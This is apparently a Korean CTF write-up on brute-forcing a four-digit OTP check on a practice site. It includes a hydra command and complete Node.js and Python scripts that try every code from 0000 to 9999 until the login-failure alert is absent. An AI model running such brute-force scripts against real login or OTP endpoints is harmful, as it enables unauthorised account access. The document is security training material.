사이트에 들어가 보았다.
아무거나 넣어보았다. 당연히 로그인은 실패
burp suite를 켜 분석해 보았다.
/6/checkOTP.php?otpNum=1234 여기에서 request 요청에
GET /6/checkOTP.php?otpNum=1234 HTTP/1.1 첫 번째 헤더 get 요청으로 url을 불러오는 것이 눈에 띄었다.
삽질을 좀 하다
HTTP 응답 헤더 요청 헤더를 보고 브루트 포스(무차별 대입) 인 거 같아 시도해 보았다.
그리고 또 삽질을 했다.
자동화할 때 자주 쓰는 peppeteer를 손에 익었기 때문에 사용해 보았다.
굉장히 느렸다.
브라우저 에다가 일일이 url에 요청을 보내는 방식이다.
하루 종일 해도 안 나오길래
hydra를 사용해 보았다.
hydra -d -I -t 4 -l '' -P otp_list.txt -f -s 1129 ctf.segfaulthub.com http-get "/6/checkOTP.php?otpNum=^PASS^:H=Login Fail..."
이것도 url에 하나씩 정성스럽게 요청을 보내서 좀 느린 거 같다 이번 과제와는 어울리지 않는다.
너무 느린 거 같아 방법을 찾아보았다.
파이썬 또는 node.js로 서버에 http 헤더 요청을 브라우저를 거치지 않고 직접 보낼 수 있는 방법이 있었다.
우선 node.js
const axios = require('axios');
// 기본 URL 및 헤더 정의
const url = "http://www.segfaulthub.com/6/checkOTP.php";
const headers = {
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://ctf.segfaulthub.com/6/login.php",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"Cookie": "PHPSESSID=tkej13k05s30ev0ibtgi1hbnnc",
"Connection": "close"
};
// 모든 OTP 값을 0000부터 9999까지 순차적으로 시도
(async () => {
for (let i = 0; i < 10000; i++) {
const otp = i.toString().padStart(4, '0');
try {
const response = await axios.get(url, {
headers: headers,
params: { otpNum: otp }
});
// 실패 응답을 확인하여 제외
if (!response.data.includes("<script>alert('Login Fail...');</script><script>location.href='login.php';</script>")) {
console.log(`Correct OTP found: ${otp}`);
break;
} else {
console.log(`Tried OTP: ${otp}`);
}
} catch (error) {
console.error(`Error trying OTP ${otp}: ${error}`);
}
}
})();
그리고 파이썬
import requests
# 기본 URL 및 헤더 정의
url = "http://ctf.segfaulthub.com/6/checkOTP.php"
headers = {
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://ctf.segfaulthub.com/6/login.php",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"Cookie": "PHPSESSID=tkej13k05s30ev0ibtgi1hbnnc",
"Connection": "close"
}
# 모든 OTP 값을 0000부터 9999까지 순차적으로 시도
for i in range(10000):
otp = f"{i:04d}"
params = {'otpNum': otp}
response = requests.get(url, headers=headers, params=params)
# 실패 응답을 확인하여 제외
if "<script>alert('Login Fail...');</script><script>location.href='login.php';</script>" not in response.text:
print(f"Correct OTP found: {otp}")
break
else:
print(f"Tried OTP: {otp}")
로그인에 성공해서 들어가 보지 않았기 때문에 alert가 나오는지 안 나오는지 알 수가 없었고
그래서 alert 창에 Login Fail… 이 나오지 않는 것을 찾아야 된다고 생각했다.